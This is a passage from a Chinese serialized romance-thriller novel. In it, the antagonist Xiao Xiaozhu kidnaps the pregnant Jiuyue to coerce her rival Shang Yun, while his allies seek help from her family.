她跟刘全也不止一次的强调,“普世的文化理念就像我们所做工作重心依附,在不改变重心的情况下,可以用自己的方法去化解一切困境。不是非得用千篇一律的方式对待千奇百幻的情境,毕竟你们面对的客户都是活生生的人,他们的经历、背景、心智模式都不一样。就比方说把自己当成水,放在什么容器里,就成为什么模样,但我们的本质不会变。” 在她半个月以来的带领下,几个团队的行事风格发生了很大的转变。从原来循规蹈距一板一眼的做事方法,到后来随机应变不具一格,处处表现亮眼。 业务拓展也有了节节上升的气势,欧洲分公司的总经理两边兼顾,尚云跟杰克做了充分交接,准备回国。 这天九月没有来公司了,这是昨天就跟他商量好的。所以他出门的时候,九月还没醒。 但尚云万万没想到,他下午回去准备收拾东西带她回国,却发现她留下的只言片语,人已经先回国了。 尚云心里一沉,无力地坐在椅子上,这一走想找她只怕又难上加难。 第一时间拨打她的手机,果然无法接通。 纸条上只有一句话,“选择苦咖啡那一刻就意味着放弃甜的可能性,不该期待,不应有失望。” 想起这些天她强颜欢笑,事事顺从,闲下来的时间常常发呆,一个人沉默坐在一角,捧着一本书半天也没翻动。 他将大部分精力投注于工作上,因此忽略这些信号。心道等忙完这一阵两人可以坐下来好好谈谈心聊聊天,因此只是劝她多休息,认为她累了。 想起文菌曾经采访过他,问了很多人都特别好奇的问题。“尚总单身至今的原因,是否因为您的工作与个人感情之间存在冲突?” 他当时自信说道,“工作与感情不存在冲突,工作是生活的一部分,感情亦是。好的感情会促进工作目标的达成,而工作会成为感情的支点,撬动幸福如愿。” 如今,他失衡了。一个人的精力有限,所以下意识会将精力花在当下更重视的事物上。 也就是说,她被排在第二顺位。 在她心里,他永远被排在第一顺位,他一句“识大体”,就让她逼回所有情绪,装作什么也没发生,替他去解决面临的难题。 有些人注定为感情燃烧一生,无怨无悔,而有些人注定背负使命,负重而行。 回国后,尚云又去了一趟宇家。 这回,宇老先生没有跟尚云打哑迷,因为他已经几个月没有宇琪和九月的消息了。 其实,九月刚从计程车下来,进入早就订好的酒店里就被控制了。 房间里出现三个人,坐在沙发上的箫小竺,按住她的两名男人则是她在厚山科技的员工。 九月冷冷说道:“你们这么多人还怕我跑了不成?” 小竺发出笑声,朝那两个男人挥了挥手:“不亏是九月,这么多年来你的性子永远那样淡定从容,都这个时候了你就不怕吗?” “怕你就会放了我吗?” “这可说不定。”小竺指了指对面的沙发,“坐呀,这么久没见面,我有好多话想跟你说。” 九月面色如常,走到小竺指定的沙发上坐下,眼神看向别处。 “你们先出去吧。”两男子西装革履,守在门口也不会若人注目。毕竟在这年时代身份显赫有头有脑的人,请保镖护卫自己安全也不奇怪。 “你怎么知道我会来这里?”九月问。 小竺从包里拿出一封信,摆在她面前:“我也刚回国呀,去了你在国外的住处,凑巧帮你收了一封信。” 第一百九十八章 小竺露真面目 九月心里一惊,心想坏了,可能是宇琪留给她的。 她自离开酒吧后,就再没回过那件租住的房子。 小竺继续说道:“看了信之后,我知道普世在北美区也开设了分公司,便差人去探了探,发现你还真的在那里。以前我们俩感情好的时候,你连命都舍得给我,那些帐号和身份证号就更别提了,我就每天登上去查看你的行程喽。” 九月手有些微抖,半天打不开信封。 “Lisa:你能看到这封信,说明你现在还是平安的。我已经离开了波士顿,为免被追踪,我的通讯工具都没有再用,一时无法跟你取得联系。云在波士顿,你去投靠他。箫小竺毒辣狡猾,你不要去见她,更不要一时心软相信那个女人,要注意安全。珍重!威尔速笔” “看完了?”小竺笑容灿烂,“这封信是谁寄给你的?劝你不要相信我,他很了解我们的关系嘛。” 九月只觉一股寒气从脚底冒出来,声音没有半点感情:“你想做什么?” “九月,凭我们的关系,我确实不想伤害你。只要你告诉我这个威尔是谁,那么冤有关债有主,我就去找他或他的家人。你不告诉我,我就去找你的‘云’,别怪我没提醒你,普世在北美区的那点基业,我稍微动点心思......就会毁于一旦。”小竺笑颜如花。 “箫小竺!你怎么会变得这么恶毒?”九月站起来,颤抖着手指着她。 小竺也站起来,收敛笑容:“是我恶毒吗?你被这封信带跑偏了吧?不久前你不是还对警察三缄其口,护我周全吗?” “我要是早知道你的真面目,我不会那么做。” 她目光森冷:“如此肮脏的世界,只有把自己变成魔,才知道出口在哪里,就像人体里血脉贲张,只有切开口子你才能看到他的血液涌向何处。” 她朝九月靠近一步,“解剖过人体吗?顺着肌理,不用耗费丁点力气,一寸一寸推动刀刃理开皮肉。然后,你就能获得自己想要的东西。” “你变态!”九月后退一步。“你太可怕了!” “别这样啊九月,你可是我最好的朋友。从小到大,除了东......”小竺皱了皱眉,似乎不愿意提这个名字,“就只有你,跟我推心置腹说过话。记得有一次我跟你哭诉一切不公。当时你抱住我,对我说,如果他们将你踩至最黑暗的地方,那么一定要努力向上爬,爬到最光亮的地方。这可是你告诉我的,我一直记着你这番话,把它变成我的信条。为什么如今你会来阻止我呢?为什么要跟他们联起手来对付我呢?” 九月摇摇头,她不敢置信自己的话被她曲解成这样,她心底一片冰寂,艰难的张了张嘴,找回自己的声音:“我让你爬到光亮的地方,不是让你堕落黑狱。你收手吧小竺,你看看你自己变成什么样了。” “我一直是我,我从没变过。你们才是真正的恶,打着为我好的幌子毁了我,是你们先毁了我。我要用我的方式获取公平,如果这个世界存在规则,那也只能由我说了算。”小竺眼里射出奇异的光芒,那种光芒所闪现的神采是扭曲的。“最好的服复,就是站在伤害我的人的对立面。无论他们想做什么,我一定会予摧毁,我让你们什么都做不成,让这个操蛋的世界溃烂!” 九月退无可退,背重重的砥住墙,绝望道:“尚云,他从没伤害过你,你为什么从一开始就要针对他,特意创立克普针对普世?” “他看不起我!第一次见面,我出于礼貌跟他握手,他居然视而不见!”小竺冷笑道,“我要让他尝尝苦头,让他再也不敢如此狂妄!” “你就是个疯子!疯子!”九月看着她一步步逼近,脸色苍白,额上冷汗涔涔。 小竺走到她面前,轻抚她的脸:“九月,你在害怕吗?这么冷的天流这么多汗。你知道,我不会伤害你的。我平生最讨厌别人看不起我,讨厌别人对我不公平,但是,你一次都没有这么对我。只要你告诉我威尔是谁,我们之间就好好的,可以吗?” 九月把脸别向一边,“我不会告诉你的。” “好!”小竺突然变了神色,“那你从现在开始,就时刻关注普世的最新消息。” 她朝门口喊了一声:“进来。” 守在外面的两名男子应声而入,按照小竺的要求,将九月迷晕装进大行李箱里拖出去了。 小竺说到做到。 普世在欧美的分公司正日渐趋好,一个星期后,突然传来消息,说普世遭到当地某领域势力的抵制,形成联盟要将普世驱逐出境。 一些跟普世正在合作的企业,也莫名其妙收到威胁信,客户收到这么大阵仗的警告,一时不明所以,只得暂停了工作人员进入公司的通行证,不让其接触企业。 制止他们与普世合作的理由,主要有三个论点:“一是指控普世的文化入侵,目的绝不单纯,全体企业人要保持警惕;二是指控普世的背后可能有阴谋,想以温水煮开水的方式麻弊企业,进而控制全球企业,其心可诛;三是指控普世擅长蛊惑人心,打算给全球企业进行洗脑。 由此可见,大家应该齐心协力阻止普世的动作,不允许他们在本地生存。” 但企业主也不是傻子,有自己的判断力,对于以上论点给予还击:“到现在为止,我的公司已经按照他们的方案执行了将近五个月的光景,先不说公司的管理模式和氛围有哪些正面转变,但说盈利方面,现在公司真真切切拿到手的每个月纯利润逐月增升。就算是文化入侵,从结果来看,证明普世文化有它的优点,这一点是不争的事实。” “对,我们有自己的判断力。他们是不是真心为企业创造利益,是不是真心为了企业的长远发展着想,我们看得一清二楚。这三条没有任何凭证的罪名,还是希望能够慎重考察再定夺。” “客观一点来说,普世的‘文化一统’项目中,包含了中华文化和本土文化相结合的优点,结合当地企业现状,按照不同的比例实施的。我只能说它非常科学,不存在洗脑之类的歪门邪说。” 尚云听说此事震怒,没想到两年前的遭遇再度重演。 欧州北美两个区域分司的共同总经理杰克多方交涉未果。幸好客户坚定支持,知道这是一起恶性破坏事件,愿意跟普世站在一起。 但那股势力当然不会轻易放弃阻拦,想了不少办法,其中就是破坏普世文化的影响力。 既然正当途径无法达成目标,他们只能用了一些特殊手段。 后来的日子,每家与普世合作的企业都相应地受到不同程度的制裁,要么莫名原因出现停水断电,影响正常运营。要么在企业里挑选几个较活跃、人缘较好的员工进行反洗脑,广撒传言,掀起“反文化”罢工与游行示威热潮。 试图以此办法逼迫试点企业就范。 这些手法,用脚指头也能猜到是箫小竺的一贯作风。 尚云打电话给箫小竺,沉声道:“你到底想做什么?” 第一百九十九章 九月怀孕 小竺无辜的道:“别生气尚总,是九月呀,她不愿意配合我。我知道她心中在乎的人只有你,那就只能拿你开刀喽。” “九月!?九月在你手里?”尚云心都凉了,不禁退了一步,踩到椅子一屁股坐在椅子上。 “放心,我好吃好喝的招待她,你不必担心。” 尚云拳头捏得格格作响,几乎从牙床里咬出声音来:“我问你到底想做什么?” 小竺也不想逗圈子,毕竟时间紧迫,她说出自己的目的。“好,实不相瞒,你制止他们的动作,别来影响我的生产计划。你在海外的业务就能相安无事。” “他们是谁,什么动作?”尚云猜测可能是九月与宇琪的行动暴露,但不确定箫小竺掌握了多少,便特意这样问。 “少装糊涂!”小竺冷笑道:“若无诚意,那别怪我无情。” 尚云心理素质一向很稳,也肃声道:“我若是知情,绝不会让九月落单。你要是不告诉我,我怎么制止?” 小竺大概是想起那封信的内容,猜测尚云当真是毫不知情。便说道:“找到一个叫威尔的人,让他来交换九月。只有三天时间,三天见不到人,这世界上再无慕九月!” “箫小竺!我警告你,最好别动她!”尚云拍案而起。 小竺一阵格格作笑,“尚云,我还没恭喜你,九月怀孕了,我猜她肚子里的孩子是你的吧。你要是不赶紧找到威尔,她这么不吃不喝的,就算我不把她怎么样,肚子里的孩子也架不住这样折腾。” 尚云心中一痛,手机掉在地上,小竺尖锐的笑声随之消失。 他怒极一挥,将办公桌上放置的文件摆件应声落地,办公室里立即一片狼籍。 小蔡听到声音,忙跑过来。“尚总!” “出去,给我出去!”尚云吼道。 小蔡吓一大跳,连忙大气不敢喘退了出来,将门拉好。 这时木信走了过来,见状惊讶地问道:“小蔡,你怎么了?出什么事了吗?” 见木信朝董事长办公室走去,小蔡连忙拦住他:“别,别进去,木总。我刚被轰出来,你先别进去。我也不知道发生什么,尚总很反常,太吓人了,估计是海外北美分公司的事情恶化了。” “不可能啊。”木信刚跟海外值勤的工作人员通了电话,那边的情况老样子,尚云早都知道了。“没事,你先回去吧,尚总这边我来处理。” 小蔡担心地看了他一眼,瑟瑟抖了一下,回自己岗位上去了。 木信推开门,看到尚云坐在办公桌前,双手抵着额头,他看不到尚云的神情。 他轻轻关上门,倒了一杯水走过去。“尚总,喝杯水。” 尚云抬头看也一眼,眼圈赤红,看起来情绪平稳下来了:“谢谢。” “我能帮忙做点什么吗?”木信弯腰捡起散落的文件,整理好放在桌上。一些摆件碎片晚点叫人进来清理,现在该清理的是尚总心里的情绪垃圾。 “九月被箫小竺绑架了。”尚云声音有些嘶哑。 木信脸色微变,知道这对尚云而言意味着什么。 “她威胁我配合做一些事,否则三天后......” “尚总,我们报警吧?”木信第一反应就是法律手段维护利益。 尚云木然摇头:“箫小竺有一家企业叫厚山科技,研发的是生物监控。在活物上克隆器官、皮肤组织,与监控系统植入活体。我的意思是,她可能用我们想都不敢想的方式在暗中盯着我们的一举一动。当初九月的猫就成了活体监控器,九月在她手上,普世也被她捏在手里,还有那么多客户企业的生死存亡,我不能赌。” 尚云素有泰山崩于前而色不变的沉着,此时却失魂落魄,他跟在尚云身边这么多年,何曾见过他这副模样。 “尚总,我知道你很担心九月。”木信试图唤醒他的超强大脑,“我想你肯定不愿意配合她,做一些不想做的事。因此,我有两个选项。” “什么选项?”尚云果然恢复了一点神采。 “要么,以其人之道还之其人之身,将秦小竺抓起来,以眼还眼,以牙还牙。要么,我们联系她的兄长莫诚和她的母亲琳达,由他们出面交涉,也许九月能毫发无损的回来。” 尚云俊眉紧锁,心里仍有顾虑:“能有今天,秦小竺显然也是有脑子的,只怕早就有所防范,很难找到机会。找她的亲人可行性较大,但我听说她跟家人的关系比较淡漠。” “你忘了,箫小竺的孩子,她的亲骨肉在琳达那里。上次去吃饭我们不是遇见了吗?箫小竺毕竟是一个女人,没有哪个女人不爱自己孩子的。也许看到孩子能唤醒她的母爱,从此改邪归正也说不定。” 听木信这么说,尚云想起小竺说九月怀孕的事。没有哪个女人不爱自己的孩子,除非她压根没打算活着逃离魔爪,否则不会明知自己怀孕,还不吃不喝等死。 “选择苦咖啡那一刻就意味着放弃甜的可能性,不该期待,不应有失望。” 还在怪他吗?在她最需要精神支柱的时候他却视若无睹。他自责,忘记了她还是一个并未痊愈的抑郁症病人。她是有多失望,才会生无可恋? 他再度情绪低落下来:“就按你说的办,执行的时候跟严教官商量。” 木信出去了。 尚云疲惫捂住脸,泪水从指缝里流出来。 小竺按电梯,走入一条甬道,装修过后,原来的森森阴气倒是少了,显得更有现代感。 其中一间房间门口,守着两个西服男,她停在房间门口,问道:“她现在是什么情况?” “还跟之前一样,不吃不喝,不哭不闹。”其中一个男子道。 小竺推门进去了,房间的设施齐全,布置舒适,开着壁灯,窗帘紧闭,屋里靠着壁灯那点橘黄色的暗淡灯光,也能看到房间里的模样,全是软质物体,包括床和沙发,墙壁和用具,几乎找不到尖锐或硬质的物件。 床头半卧着一个女人,长发垂在脸侧,稍微有些散乱,眼观鼻,鼻观心,面无表情,听见她走过来的动静也没有抬眸看她一眼。 “你以为我不知道,你想用这种方式寻死,好让我没有要胁尚云和威尔的筹码。”小竺心平气和的搬张椅子坐在她床边。 床上的人仍旧没理会她,眼睛微微凹陷,就连眼珠都不曾转动,若不是胸脯微微起伏,几疑是具雕塑。 小竺狠狠说道:“你若是敢死,我就敢下狠手,将普世打进十八层地狱永不翻身!” 九月终于有所反应,因为几天未进食,身体虚弱至极,她的动作有些迟缓,转头看向小竺。她嘴角微微牵动,小竺拿不准她是否笑了。 “你不相信?”小竺被她激怒。 “我一死,你也就到头了。”九月说的很慢很轻,但很坚定。她了解尚云,也相信他当初的郑重承诺。那时,再没有什么可以牵制他。 小竺目光里闪过一抹阴狠,转瞬即逝,换上一副人畜无害的表情:“九月,昨天你昏迷,你知道医生跟我说什么吗?” 九月沉默,她不想知道。 “你怀孕啦!”小竺说道,她看到九月毫无神采的目光里满是惊诧,心里知道起了作用,便继续说道:“你糟践自己身体不打紧,但孩子是无辜的,小天使充满喜悦地选择了你,你却不给他机会看看这个世界的花红柳绿。” 她看到九月的手下意识轻轻移了移,抚上小腹。 第二百章 巫师谶言 小竺知道目的达到了,她知道什么时候该进,什么时候退场,因此,站起来说道:“九月,还是那句话,我们有这么多年的感情,我不想伤害你。我不过是想好好经营我的事业,做一个无人敢小觑我的风光人物。我用了十几年才有如今的起色,你们一句收手,就想毁了我多年的心血,我做不到,你若是我,你也会做出我这样的选择!” 说完便走了,才走了两步,听到九月幽幽说道:“你有没有想过,看不起你的不是别人,其实是你自己。你向往权利,物欲,充满独占欲,掌控欲,认为这些能证明你的价值。世界哪会任由任何一个人掌控,你注定会受挫。 于是你敏感多疑,别人的风吹草动都会成为你内心里的一场浩劫。 如果你认为自己可敬可爱,别人伤不了你,他人的眼光不会入你的心,更不会成为你耿耿于怀的伤害。外界不过是你的心理影射,你心底的阴影得到你自己的许可,才肆无忌惮自我攻击,而你只是旁观,只是悲伤,无力反抗。然后将怒火发泄到外界来,用摧毁外界的方式重建以你为中心的世界以获得自信。 箫小竺,你胃口太大,但你吃不下。你硬吞下去也会反噬你,让你灰飞烟灭。你回头看看,拥有的够多了,再往前,原本拥有的一切也会消失。你舍得吗?” 这段时间以来,九月心如死灰,这是她唯一一次劝告。 没有人比九月更了解箫小竺,正是如此,箫小竺毫无反驳的余地。 箫小竺神色冷酷,九月的每句话都重重撞击她的心口,她眼里的炽焰燃了又灭,头也不回离开了房间。 九月则陷入尘封的记忆中。 十八岁那年的夏天,小竺跟九月经过生死交换,正式成为好朋友。 那时,两人郑重去庙里一颗菩提树下许愿,要做一辈子的好姐妹。两人兴冲冲地要将许愿牌挂上枝梢,九月一个不慎摔了下来。 当时身边还有一个三十多岁的女人,九月刚好摔在她面前,将手中两张许愿牌弄污了。 “怎么办?脏污的许愿牌还会灵验吗?”九月愧疚地说。 小竺无所谓的神情:“没事,心诚则灵。” 九月一想,觉得有道理。便找了人,帮忙挂上去。 走的时候,一直关注着九月和小竺的女人叫住她们。“小姑娘,有兴趣卜卦吗?” 两人面面相觑,九月警惕地看了对方一眼,有些犹豫,小竺则挑眉道:“好哇。” 她在手中的塔罗牌中,让九月选三张,又让小竺选了三张。 塔罗女接过九月那三张牌,看了一眼,脸上露出笑容,说道:“你不太容易相信别人,但请你还是将我的解读听进心理去,也许会对你的人生有所启发。” 九月被她第一句话便戳中心思,不自在地清了清嗓子说道:“好,您请讲。” “我分三个层面,首先,你在事业上会有自己的建树,你敏锐且深刻,具有艺术细胞,很有人情味,但同时也非常理性。对事物表现出独立大胆,具有独特的思维逻辑,也有超群深邃的分析能力和洞悉事物本质的能力。这些特质让你在事业上表现非常亮眼。其次,你在感情上”女人停顿,看着塔逻牌皱了皱眉。 九月凝神静气,盯着女人的神色。 “感情会怎样?”小竺帮她问道。 “太理想主义是你整个人生的特点,当然,不以优点或缺点来论。对感情或者说亲密关系非常依赖,对爱执着深刻,刻骨铭心,若爱上一个人便是一辈子,偏重于追求精神和灵魂上的契合。若碰上优质对象你会很幸福,若遇到劣质对象就毁了你一辈子。”女人笑容很暖。接着看第三张塔罗牌,眉头又是一皱。 她说这些的时候,尚云的身影浮现在眼前。这次九月也开始深信她的预测,因为着实很准。“这张怎么了?” “哦。”她笑了笑,安慰道:“你十分早熟,早年较为坎坷,成长之路受到重创,这次变故会改变你一生走向。如果我没猜错,这次重创已经度过。虽然之后还会有延展考验,但未来会慢慢好转,可能会持续到而立年之后。但是,” 听到她语气转折,九月也紧张起来,小竺急道:“但是怎样?你快说呀。” 女人神色凝重,说道:“你性格容易受一些暗物质影响,并且在你内心扎根,情况严重的可能落下严重的心理疾病。凡事多想开点,一切都会云开雾散。你很善良,佛会保佑你。” “谢谢!”九月点点头。 “到我啦!”小竺兴奋道,把三张牌放在女人面前。 女人看了看,露出惊诧的神情,目光里有一丝异样。 “这么看着我干嘛,快帮我说说,我有怎样的未来。”小竺催促道。 “先从性格来说,你敢爱敢恨,冷静理智,对事物很坚持,自我主义稍微浓厚。你希望周边的人以你为中心,顺着你,重视你。因此,有时会用很强烈的自我保护手段做出不理智的决定,走向错误的方向。是一个令人畏惧的女子。”女人神情凝重的说道。 小竺面露不悦道:“到我这里怎么措辞这么暗黑,你这不准?那你说说事业。” 女人看了看第二张牌,看了小竺一眼,非常审慎的选择字眼:“你有很强的野心,所以在事业上会登上顶峰。如果选择的方向是正确的话,你会拥有无限荣光,万一选错方向,记得及时回头。否则,大厦将倾。” 九月看了看小竺,后者神色复杂,沉默不语。 “感情方面会比较坎坷,你很真挚,有时稍微天真。有时柔情似水,有时热情像火。忽冷忽热让你的感情伴侣无所适从,如履薄冰,非常压抑。其实你只是真性情,将对方看作可以信赖的人,才会展露无遗。如果想要感情顺利,还是要多注意,否则容易让对方想逃离,双方离心。” “不准!”小竺脱口而出:“什么乱七八糟的?” 九月拉了拉小竺的胳膊,让她不要冒犯别人。转头对女人说道:“该付您多少钱?” “没关系。”女人平和一笑,“既然这位姑娘说我卜得不准,就不必付费,有缘再见。” 九月掏出五十元,追过去递给她,“我觉得还是该付费的,谢谢指点。” 女人笑了笑,收下她的钱,轻声说道:“你不容易相信人,但一旦信任一个人就会毫无保留,这对你不利,千万要注意。” “好,谢谢。”九月说。 小竺走过来,轻轻撞了撞她:“她刚你说什么?” “说我相信一个人会毫无保留。”九月歪着头道。 小竺翻翻白眼:“我说不准,你还给她钱。她开口第一句话就说你不容易相信别人,收了钱就改口了。” “不是,两句话连在一起,中间有个‘但是’嘛。” “反正我看她像骗子。” “好啦,时间不早了,我还得上夜校,咱们走。” 从回忆中抽出思绪,九月微不可闻的叹息。如今,塔罗女的预测似乎隐隐约约已经成真,而自己的前路未卜。 第二百零一章 九月计划遭变 千算万算,算不到竟有一个弱小的生命,会在这个时候悄悄降临,从此跟她的性命绑定在一起,现在她还能义无反顾的选择极端方式结束这一切吗? 痛苦弥漫在心间,她喃喃自语,“尚云,现在我该怎么做?” 这时,一阵敲门声响起。随后一位四十多岁的大姐端着餐盘进来。 “箫小姐让我给您做了点吃的送过来,说您现在需要补身子。”她把餐盘放在沙盘中间的软质腾条艺术茶几上,过来扶九月过去用餐。 九月坐着没动,眉眼间却流露挣扎。 “慕小姐,胎儿前三个月的发育很关键,说不定会影响孩子一生,您不吃不喝对胎儿不利,到时后悔就来不及了。” 她终于欠了欠身,大姐扶住她的胳膊,她身体虚弱乏力,如果不是大姐力气大,她就要落床跪地了。移步到沙发那边,也许是求生欲望的驱使,也许是心里有了新的打算。九月逼着自己细细吃下了不少。 在一旁等候的大姐待她吃得差不多,叮嘱道:“我是箫小姐专门派来照顾您的,门口24小时有人在,有任何需要都可以传唤我。一会恢复体力可以在房间轻轻活动一下,但您现在身子虚,尽量还是多卧床休息。” 九月点点头。 昨天箫小竺给她看了普世的近况,知道情况对北美区分公司不利。那边市场刚刚好转,经这么一折腾,前期那么多人的努力又泡汤了。 北美区市场的风吹到欧洲区市场,产生连琐反应,也会累及那边渐渐趋于稳定的局面。 当初得到基克纳的救援,整个普世团队花了将近一年时间才好不容易将差点倾覆的普世市场扭转过来,如果再遭重创,不知这次又将面临怎样的危局。 她当然深知其中艰难,那段岁月里,尚云的煎熬与团队的沮丧她感同深受。断不能让悲剧重演,所以她用了抽薪止沸的一招。 只有自己一死,尚云才会毫无顾忌对萧小竺加以反击,加上宇琪那边取得的证据,基本可以困住箫小竺与厚山科技,如果进展顺利——只是如果,因为直觉告诉她,箫小竺背后还有人。 但只要自己这条命死在箫小竺手上,就是破案的重要突破口,厚山科技的研究也终会大白于天下,受到社会与律法的共同制裁。 没有了拦路石,普世只需按照尚云的思路去发展,终有一天会实现第一阶段和第二阶段的愿景。尚云的理想得已实现,对她而言,她的死就超值了。 世事变幻无常,前段时间打好的算盘,如今因为腹中胎儿的存在又得从长计议。 谁说她没有对甜的期待? 她从刚才吃第一口饭时起,就明白自己已经做出了选择。 小竺还不知道威尔就是宇琪。九月心想,也不知道宇琪现在何处,不知道他和小卫还有阿智已经进展到哪一步了。但愿他们不要入了厚山科技的局,小竺布下天罗地网就等他们跳进去。 想到这里,九月又开始头疼,思虑过多,老毛病就犯了。 她不知道,此时宇琪与阿智正埋伏在西峰山下,离自己所在地并不远。 罗小卫则拿着证据在外面寻找靠得住的律师,由于雷默集团从前的关系网还在,有很多人都愿意卖箫小竺一个面子,有任何动向都会全体暴露。 西峰山荔园路口,一辆车子转弯进入二人视野。 车子停在破旧的工业园,豪华的车辆与这破旧的工业园似乎有些不搭,从车中下来几个人,阿智小声说道:“阿琪,秦小竺和地鬼在一起。左边那高个子就是地鬼肖能,我们跟上去。” 宇琪看了看那高大潇洒的男人,皱眉道:“他就是地鬼?”他还以为‘地鬼’非丑即邪,至少年龄不会太小,没想到却是这样年轻帅气的男人。 “我以前跟阿闲调查过,不会认错的。”阿智眼睛闪现恨意,紧紧盯着那三人。 宇琪拉住他,心里隐隐不安:“我们先看看,小心有埋伏。” 眼看那三人越走越远,阿智急了:“来不及了,我去看看,不一定会动手。” “你还想不想给阿闲报仇,这么沉不住气。”宇琪压低声音说道。 阿智不管不顾,甩开宇琪的手就猫腰从另一条路跟上去了。 宇琪心急如焚,又不敢大声制止,只得看他越走越远。 西峰山属开发区的公园,四周并没完全开发,都是一片片荒林,因此,车子到工业园这里已经没有路了。 阿智躲在暗处,见秦小竺三人边走边说话,他悄悄尾随,秦小竺却突然停住不走。 地鬼肖能回头道:“不管怎么样,你总是要当面把话说清楚?” 箫小竺冷哼一声:“我觉得没有必要。他若信我,就不会兴师动众派你们来这里讨要解释。他若不信,我说再多又有什么用?” “你的意思是不把九月交到他手上,还不给解释。小竺,龙爷帮了你那么多忙你莫非忘了?” “我没忘。”小竺口头上这么说,心里却知道,当初他救雷默不是为了帮她,因为他自己也执股,最终雷默还是免不了噩运。几年前鼓撺她投入巨额搞生物科研也是因为获得巨大利益的是他,毕竟她只是明面上的掌权者,而龙爷才是那个巨额即得利益者。 “我有今天的地位,全是受龙爷赏赐。但一码归一码,他既然让我做了厚山科技的负责人,就该给我独立决策权。我没有什么好解释的,在视频会议里也早已说清楚。还是那句话,他要是信我,我就不必说什么了,如果不信,我解释什么也没用!”小竺说完转身就走。 地鬼肖能挥手示意,他身边的那名精壮汉子立即扣住箫小竺。 箫小竺惊讶地看着肖能,“肖能!你竟敢动我!” “小竺,我也不想这样,但你执意不从,我只好冒犯了。”肖能皮笑肉不笑,“带走。” 小竺气得脸通红:“肖能,我看错你了。” 话音刚落,壮汉在她颈后一击,箫小竺瘫软在地。壮汉像扛草包一样,轻松扛走了。 阿智隐藏在灌木从后面,略一思索欲跟上去。 身后突然伸出一只手拉住他。他没有回头,左手拿住这只手,送出一招反擒拿,对方早有防备,避了过去。他趁对方未站稳,伸腿一扫,对方一手抓住他的手腕,一手按在他肩上,稍一借力,从阿智头顶翻了个劲斗。 阿智的手被他扣住,只能被动地被他牵来扯去。好在对方并不想要他的性命,只是想缠住他。 几个回合也分不了胜负,眼见地鬼等人早已消失踪迹,阿智气极,手肘狠狠往对方胸部撞去,对方赶紧松开他的手腕,退出两步。 阿智这才有机会看到来人,啧了一下,埋怨道:“怎么是你,拦着我干什么?” 宇琪不知从哪里换了一套绿色的清洁工制服。“你跟上去只怕有去无回。” 阿智蹙眉,“前怕狼后怕虎,什么时候才能拿到证据。” “你没发现有埋伏?” 第二百零二章 求助琳达 经宇琪这么一提醒,阿智透过树叶缝隙朝工业园附近望去,果然见到不少假扮来西峰山闲逛的游客,目光警觉,全身气场不同,全然不像放松游玩的样子。 “我总觉得九月已经暴露了,走。”宇琪预感不妙。 “是,九月在他们手中。” 宇琪惊道:“你怎么知道?” “刚才地鬼说让箫小竺把九月交给一个叫龙爷的人,但箫小竺显然不愿意,最后被打晕扛走了。”阿智边走边回忆,低声告诉宇琪,“这个龙爷才是幕后大佬,阿闲曾经有过特别训练,有侦察经验,反侦察能力很强,潜伏到厚山科技一年多,但是去到这个龙爷身边没多久就暴露了,是个厉害角色。连阿闲寄出去的东西也被截获,早知道我就看一眼资料,那些东西是从我手里转寄出去的。” 话里行间,阿智满是遗憾和悔恨。 宇琪则是心事重重。两人都不再说话,离开了西峰山。 西峰山下的破旧工业园,就是厚山科技。外表破旧,里面装璜非常高科技,几重防护,现在想靠近都难,取证就更难了。 晚上,莫诚开车回到住处,下车从暗影中出现两个人,他认出其中一个是严教官,另一个也走出来,是木信。 他回头跟母亲说:“妈,你跟小磊先上去,我有朋友来访。” “是谁啊?” “普世公司的朋友。”莫诚说。 琳达愣了愣,普世公司的人来找莫诚,估计不是朋友相会那么简单:“那请他们上去坐坐,这里也不是谈事的地方。” 莫诚犹豫少顷,下了车。 琳达抱着孩子也下了车。 “莫诚莫总,好久不见!”严教官跟莫诚接触较多,他上前打招呼。 莫诚笑了笑:“看来我有贵客到了,去家里坐坐?” 严教官微微一笑,并不拒绝。 莫诚的房子是商品房,在他这个层次的人都有自己的独立别墅,他也有这样的实力,但他似乎并没有外在物质上有太高追求,这点让木信和严教官相信莫诚也许跟箫小竺不是同路人。 果然,房子装修相对简单,但很温馨舒适,也足够宽敞明亮,是真正意义上的家的风格。 南庆庄的保姆秦姨也跟着琳达过来了,在家料理家务,帮着琳达带带孩子,一家四口倒也有滋有味。 他们坐下后,秦姨便煮茶招待客人。将茶摆上桌后,接过琳达手中的宝宝。听到严教官介绍木信,是普世的总经理。 琳达向木信点头致意,“普世公司在业内的实力首屈一指,风格作派也让人肃然起敬,没想到从创始人到高层,个个都这么年轻,实在让人惊叹。” 木信客气道:“琳达女士过奖了。我听闻琳达女士雷厉风行,能力强悍,而且为人正派,是名利场中一股清流。只可惜没有遇到您可以施展抱负的舞台,但愿我们以后能有机会合作。” 琳达没想到对方公司将她的情况摸得如此清楚,又听他话里赞赏的角度,便知道对方的立场和话外含意。 “那此次来?”莫诚好奇,“所为何事?” “既然坐在这里,我们也不绕圈子了。”木信跟严教官互相看了一眼,木信说道:“九月被箫小竺带走了,现在下落不明。箫小竺昨天打电话来威胁我们董事长,三天之内没达到她的目的,便让世上从此没有九月这个人。” 莫诚听了前半段,就反射性的站起来,听到后面几乎不敢置信:“你说什么!” 严教官劝慰道:“莫诚,先别着急,我们就是来找你们商量办法的。” 他怎能不急,在房间里快速踱步,脑中急切想着办法。“你们不了解情况,九月在她手中是真的很危险。” 琳达愁容满面:“她们俩个从曾那样要好,如今小竺这么不懂事,将事情做绝了。”她突然看着同样陷入愁苦的木信,问道:“你们一定有了打算,才来找我们的对?需要我们做什么?” 木信点头:“没错。箫小竺跟你们毕竟是至亲,能否出面跟她谈谈,劝她放了九月?” “小竺这孩子,越大越不听劝,她有自己的主意,想方设法也要达到目的。”琳达叹息道。“但我会出面尽力一试。关键是现在不知道她在哪里。” 莫诚突然停住脚步,说道:“我找过东维恺,想打听小竺的下落。但东维恺的朋友和以前的同事都说很久没见到他了,甚至他家里人也联系不上他,如果他们说的是实话,我估计也在小竺手上。” 木信倒是认同莫诚的说法,因为他了解这件事的情况,关之洁卷入箫小竺和东维恺的感情中,差点受害。她敢这么对付关之洁和九月,肯定不会放过东惟恺。 “也许董事长知道。”严教官提醒木信。之前尚云深夜找他谈话,让他离开总部去国内第一分公司负责培训,实则去姜城暗中保护九月,曾跟他透露过西峰山厚山科技的一些情况。 “那还等什么,我跟你们去。”莫诚一刻也等不了了。 “光是你一个人,说服不了箫小竺。”木信直言。莫诚一时无话。 “我也一起,我可以试试。”琳达表态说。 木信沉吟道:“带着箫小竺的孩子,也许有一线曙光。” 莫诚和琳达四目相对,琳达担忧的问:“你们能保护小磊吗?” 